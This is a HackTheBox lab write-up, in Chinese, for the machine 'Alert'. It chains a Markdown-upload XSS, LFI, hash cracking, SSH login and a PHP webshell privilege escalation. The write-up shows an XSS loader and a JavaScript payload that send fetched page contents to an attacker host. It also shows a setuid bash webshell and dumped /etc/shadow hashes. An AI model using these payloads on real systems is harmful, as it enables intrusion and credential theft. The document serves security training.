HackTheBox - Machine - Alert

Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P

非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P

Alert

image

https://www.hackthebox.com/achievement/machine/463126/636

首先使用 Nmap 進行端口掃描,發現目標網站的 80 端口可用,隨即訪問該網站,注意到自動跳轉至 alert.htb。接著,對子域名 statistics.alert.htb 進行探索,發現該網站要求上傳一個 Markdown 文件,且上傳後會將其轉換為 HTML,這一過程中引入的 XSS 漏洞引起了注意。利用這個漏洞,上傳一個包含 <script> 標籤的 Markdown 文件,成功觸發了 XSS 攻擊。進一步觀察到網站的「Share Markdown」功能,可以生成分享鏈接,推測是否能利用該功能觸發 XSS。經過測試,發現能夠通過填寫郵件並插入分享鏈接來完成這一操作,成功獲得了回調。為了解決 Markdown 轉換過程中自動插入 <p> 標籤的問題,設計了一個 JavaScript 代碼來側加載另一個 JavaScript 文件,以繞過這一限制。隨後,對網站進行了進一步探索,發現主頁有一個指向 /messages.php 的路徑,並且通過 XSS 獲取了該文件的內容,進而嘗試利用 LFI 漏洞讀取系統文件 /etc/passwd,成功取得了用戶信息。隨後,通過 hashcat 破解得到了密碼,並利用該密碼登錄到 statistics.alert.htb,檢查該用戶的權限,發現其屬於 management 組,並能夠寫入文件。最終,利用 SSH 進行轉發,發現服務器運行的是 PHP 框架,並在相應的配置文件中發現了可以寫入的目錄,隨即創建了一個反向 shell,成功獲得了 root 權限

Nmap Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PORT      STATE    SERVICE REASON         VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSrBVJEKTgtUohrzoK9i67CgzqLAxnhEsPmW8hS5CFFGYikUduAcNkKsmmgQI09Q+6pa+7YHsnxcerBnW0taI//IYB5TI/LSE3yUxyk/ROkKLXPNiNGUhC6QiCj3ZTvThyHrFD9ZTxWfZKEQTcOiPs15+HRPCZepPouRtREGwmJcvDal1ix8p/2/C8X57ekouEEpIk1wzDTG5AM2/D08gXXe0TP+KYEaZEzAKM/mQUAqNTxfjc9x5rlfPYW+50kTDwtyKta57tBkkRCnnns0YRnPNtt0AH374ZkYLcqpzxwN8iTNXaeVT/dGfF4mA1uW89hSMarmiRgRh20Y1KIaInHjv9YcvSlbWz+2sz3ev725d4IExQTvDR4sfUAdysIX/q1iNpleyRgM4cvDMjxD6lEKpvQYSWVlRoJwbUUnJqnmZXboRwzRl+V3XCUaABJrA/1K1gvJfsPcU5LX303CV6LDwvLJIcgXlEbtjhkcxz7b7CS78BEW9hPifCUDGKfUs=
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHYLF+puo27gFRX69GBeZJqCeHN3ps2BScsUhKoDV66yEPMOo/Sn588F/wqBnJxsPB3KSFH+kbYW2M6erFI3U5k=
| 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG/QUl3gapBOWCGEHplsOKe2NlWjlrb5vTTLjg6gMuGl
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
12227/tcp filtered unknown no-response
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

一開始肯定是直接使用 Nmap​ 掃描一下,看起來就是從80端口入手了。

80 - WEB

一打開后,就自動跳轉到alert.htb​ ,就隨手掃一下子域名:

1
$ ffuf -u http://10.129.231.188 -H "Host: FUZZ.alert.htb" -w /Tools/Wordlists/N0kovoSubdomains/n0kovo_subdomains_small.txt  -fw 20

image

看到有 statistics.alert.htb​ 就訪問看看:

image

目前肯定是沒有賬號密碼,就回去 alert.htb​,打開後:

image

整個界面就需要上傳一個 md​ 文件,觀察網頁可以看到,上傳一個md​的文件后,服務器會自動轉換成 html 源代碼,然後返回到瀏覽器上,瀏覽器再一次進行解析。

Script TAG inside markdown file

在轉換的過程中,由於遇到 <script></script>​ 轉換器並不知道是什麽,就直接嵌入到 html 源碼當中,就導致有xss的漏洞存在。

爲了測試一下,可以隨便寫一個 md​ 然後裏面夾著一行 <script>​ :

1
2
3
4
5
# manetesting

<script>
fetch('http://10.10.16.31/test')
</script>

上傳 md​ 文件經過服務器轉換後就會觸發 XSS:

image

查看源碼,可以看到瀏覽器正常解析了 <script></script>​ ,而 <script></script>​ 并沒有被注釋掉於是就產生了 XSS​,

image

另外還注意到右下角有一個 Share Markdown​ 的按鈕,點一下會給你一個分享的鏈接:

1
http://alert.htb/visualizer.php?link_share=67423aa00ae1f8.26032947.md

Multi-line will broken the javascript

由於他是md​的文件,服務器會把 md​ 文件在服務器上轉換成 html 源代碼,

image

但如果其中有一行是空的,markdown​ 轉換器以爲是段落,所以會給這一行的前後加一個段落 Tag,也就是 <p></p>​,此時的markdown​ 轉換器不知道正在轉換的是 javascript​ 代碼,而破壞掉你的 javascript​ :

image

因爲javascript​裂開了,所以這裏的payload沒辦法運行,這就意味著沒辦法爽快的換行。

Testing XSS work or not

既然有一個分享的鏈接,那麽會不會是把分享的連接使用 Contact Us​發送出去,而背後有機器人在觸發從而得到XSS?

於是我就在郵件裏面隨便填一下郵件,然後在分享的鏈接中填入從 Share Markdown​ 獲得的鏈接,看一下有什麽效果:

image

結果得到了 callback​ :

image

這樣就意味著需要使用xss去釣機器人,爲了解決上面空白行自動插入 <p></p>​的問題,於是可以使用 js 去側加載另一個 js 文件,這樣就可以省略掉很多奇怪的換行問題,所以插入另一個 js 文件的 javascript 如下:

1
2
3
<script>
var mane = document.createElement('script'); mane.setAttribute('src','http://10.10.16.31/payload.js'); document.head.appendChild(mane);
</script>

上面的代碼是側加載 payload.js​ ,payload.js​ 裏面就是這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 發送任何字串到本地,這裏可以使用 url 編碼
function send(d){
try{
fetch("http://10.10.16.31/?=" + (encodeURIComponent(d.toString())));
}catch{}
}

// 發送 http 請求,收到後直接返回到本地
function fetchurl(url){
fetch(url)
.then(response => {
if (!response.ok) {
send("error to fetch");
}
return response.text();
})
.then(data => {
send("data = " + data.toString());
})
.catch(error => {
send("error to fetch 2");
});
}


send("Loading_script");

send("Windows Location = " + window.location.toString());

fetchurl("/")

send("Done");

上面的代碼 fetchurl("/")​ 是請求 /​ 然後把裏面的所有内容返回到本地。

Fetching Data with XSS Payload

請求: ​/

image

很容易看到主頁有一個 index.php?page=messages​ ,

image

實際上在一開始的掃描中也看到了 /messages.php​,換句話說其實 index.php?page=messages​ 就是指向 /messages.php

image

所以使用XSS獲取一下 /messages.php​ 的内容:

image

可以看到好像有一個奇怪的文件在裏面:

image

既然是這樣就試一下會不會有 LFI 在這個end point,所以嘗試請求 /messages.php?file=../../../../../../../etc/passwd​,

也就是 /etc/passwd​:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash

結果還真有,所以可以去看一下當前運行的cmdline

也就是:/proc/self/cmdline

1
/usr/sbin/apache2

既然是 apache2 那就可以去看一下最基本的配置,默認的配置文件是:

/etc/apache2/sites-enabled/000-default.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<VirtualHost *:80>
ServerName alert.htb

DocumentRoot /var/www/alert.htb

<Directory /var/www/alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>

RewriteEngine On
RewriteCond %{HTTP_HOST} !^alert\.htb$
RewriteCond %{HTTP_HOST} !^$
RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName statistics.alert.htb

DocumentRoot /var/www/statistics.alert.htb

<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>

<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

可以很清楚的看到有一個 /var/www/statistics.alert.htb/.htpasswd​,然後使用 LFI讀取一下,得到:

1
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/

於是直接 hashcat​ 碰碰運氣:

image

結果就直接得到了密碼:

1
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited

既然得到了密碼就順便看一下 statistics.alert.htb​ 裏面有沒有藏了什麽,結果什麽也沒有:

image

Shell as albert user and write a PHP webshell to root

由於 /etc/passwd​ 上也看到了有 albert​ 這一個用戶,所以直接 ssh 試一下,結果就進去了:

1
ssh albert@10.129.20.87  : manchesterunited

image

看到這個用戶有 management​ 這個組,順便看一下 root 是什麽進程運行的:

1
$ ps -auxwwf | grep root

image

於是使用ssh​轉發下看一看:

1
$ ssh -L 127.0.0.1:8000:127.0.0.1:8080 albert@10.129.239.251

image

從上面的命令行得知是 PHP​ 的框架,裏面的 config​ 也有 management​ 這個組的權限:

image

這就説明當前用戶是可以寫入一些文件在這個文件夾裏面的:

image

那就隨手寫個shell,然後在用curl 來訪問并且促發那個shell,就得到root:

image

1
2
3
echo -e '<?php system("chmod 4777 /bin/bash") ?>' > /opt/website-monitor/config/mane.php
curl http://127.0.0.1:8080/config/mane.php
bash -p

Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
bash-5.0# cat /etc/shadow
root:$6$gSjyQo8nJFMsegNG$jRRGms4KAq1FGTXwBJl236Ui5OKRtmaM3k8nkXuvduPXnhhaT/ZCYHHYO3GxhUAik1NaFYlBGaQZBrzQHgOhc/:19791:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
lp:*:19430:0:99999:7:::
mail:*:19430:0:99999:7:::
news:*:19430:0:99999:7:::
uucp:*:19430:0:99999:7:::
proxy:*:19430:0:99999:7:::
www-data:*:19430:0:99999:7:::
backup:*:19430:0:99999:7:::
list:*:19430:0:99999:7:::
irc:*:19430:0:99999:7:::
gnats:*:19430:0:99999:7:::
nobody:*:19430:0:99999:7:::
systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
messagebus:*:19430:0:99999:7:::
syslog:*:19430:0:99999:7:::
_apt:*:19430:0:99999:7:::
tss:*:19430:0:99999:7:::
uuidd:*:19430:0:99999:7:::
tcpdump:*:19430:0:99999:7:::
landscape:*:19430:0:99999:7:::
pollinate:*:19430:0:99999:7:::
fwupd-refresh:*:19430:0:99999:7:::
usbmux:*:19790:0:99999:7:::
sshd:*:19790:0:99999:7:::
systemd-coredump:!!:19790::::::
albert:$6$ITP6P5Et1oVKsi7t$kEwgQPb4LUVcYb9MDHklHWKwDPvE6l7TGBUZogMvPoHUDt2IZ0ONlWODbsiTFdwd7SkYUNHGA0QS.Bnd6/tsp0:19822:0:99999:7:::
lxd:!:19790::::::
david:$6$oYlviwCQ3SMghmp.$95V3x9QjaD5GU8yoFsb8ufq9GrJ7PtcMAilTYtiNN2RZsVG0qgiWXUdlDURqdE84Nk2T11F4BpJXz3FbEK3bC1:20008:0:99999:7:::

題外話

第一次得到第一滴血。

image

Thanks

Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!

感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!

Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!

發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!

Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.

新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。

使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)

Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)